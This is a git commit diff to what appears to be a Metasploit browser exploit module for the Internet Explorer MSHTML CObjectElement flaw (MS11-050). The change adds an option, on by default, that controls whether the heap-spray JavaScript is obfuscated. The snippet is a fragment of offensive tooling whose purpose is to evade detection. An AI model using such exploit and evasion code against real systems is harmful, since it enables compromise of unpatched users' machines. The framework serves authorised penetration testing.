Allow JavaScript obfuscation as an option

git-svn-id: file:///home/svn/framework3/trunk@13524 4d416f70-5f16-0410-b530-b9f4589650da
2011-08-11 15:50:43 +00:00 · 2011-08-11 15:50:43 +00:00 · 4ac431948a
parent a1526e86b8
commit 4ac431948a
1 changed files with 11 additions and 2 deletions
--- a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb
+++ b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb
@ -116,6 +116,11 @@ class Metasploit3 < Msf::Exploit::Remote
 				],
 			'DisclosureDate' => "Jun 16 2011",
 			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
+			], self.class)
 	end

 	def auto_target(cli, request)
@ -293,8 +298,12 @@ class Metasploit3 < Msf::Exploit::Remote
 		JS

 		js = heaplib(js)
-		js = ::Rex::Exploitation::JSObfu.new(js)
-		js.obfuscate
+
+		#obfuscate on demand
+		if datastore['OBFUSCATE']
+			js = ::Rex::Exploitation::JSObfu.new(js)
+			js.obfuscate
+		end

 		html = <<-HTML
 		<html>